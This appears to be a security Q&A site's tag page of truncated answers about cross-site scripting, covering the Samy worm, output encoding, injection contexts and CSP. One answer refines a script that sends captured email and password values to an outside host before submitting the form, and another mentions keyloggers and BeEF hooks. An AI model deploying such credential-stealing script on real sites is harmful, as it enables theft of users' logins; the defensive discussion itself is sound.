Tag Info

Hot answers tagged

3

If you made your content malicious, and you have enticed a user to visit your blog then you have already succeeded with your attack. This is just the same as hosting your own website containing malicious content and enticing a user to visit it. The only advantage may be if your target user is likely to trust a *.blogspot.com domain more than any other ...


3

The most famous has got to be the Samy worm: Samy (also known as JS.Spacehero) is a XSS worm that was designed to propagate across the MySpace social-networking site written by Samy Kamkar. Within just 20 hours of its October 4, 2005 release, over one million users had run the payload making Samy the fastest spreading virus of all time. The ...


3

You could use a scanner to guide you, but you need start with secure coding. Use a scanner to test for verification after you have implemented the secure coding concepts. First rule of secure coding is See input as evil. The first step to not trusting input in a web application is to encode (not filter) all user input. So, your input example will be HTML ...


2

By looking at this payload alone, without the rest of the code, it's probably hard to understand it. Let's say there is JS and PHP code in a website: <script> var jsvar; jsvar = "<?php echo $phpvar;?>"; </script> What this code does is it simply assigns a user controlled variable from PHP to the JS variable jsvar. If the PHP variable ...


2

I would make some amends to your script: img = new Image(); img.src = "http://192.168.2.25:8080?" + "email=" + escape(email) + "&" + "password=" + escape(pass); setTimeout('document.forms[0].submit();', 3000); return false; This should send the data to the attacker's page and then submit the form after 3 seconds, once the browser has had chance to ...


1

Keyloggers in JavaScript... BeEF injection string (a JavaScript string to allow BeEF to "hook" the browser..." Also.... you can redirect them to www.myevilsite.org (we're an organization ya know.. we've incorporated...) and do whatever they want to you SOP or not and return you right back to the google site w/the end user being none-the-wiser. Google can ...


1

Yes this still poses a security risk. From what I understand this header is only used by IE 8 and newer tell the browser to use it's built in XSS filtering. Even if modern versions of other browsers user it, there are certainly older browsers that do not. In addition - I would not trust IE's built in XSS protection to keep anyone safe. If preventing ...


1

This is a great question, and I commend you taking the time to think about this from a security perspective rather than knee-jerk implement the solution from the link you sent. Yes, as you have feared, use of data: in a CSP directive is unsafe, since this allows for XSS vulnerabilities to be opened up as data: can handle any URI. This is spelled out in ...


1

It depends on context. Which are of basic 5 types: HTML context In the body of an existing HTML tag or at the start and end of the page outside of the tag. <some_html_tag> user_input </some_html_tag> In this context you can enter any kind of valid HTML in the user input and it would immediately be rendered by the browser, its an ...


1

There's not enough information provided to correctly diagnose whether this is a vulnerability or not. If it was possible to trick a user into making the request directly to /data and include the malicious payload (<script>alert(1)</script>), then yes it would be a vulnerability if the alert box appeared. For example by tricking the user into ...



Only top voted, non community-wiki answers of a minimum length are eligible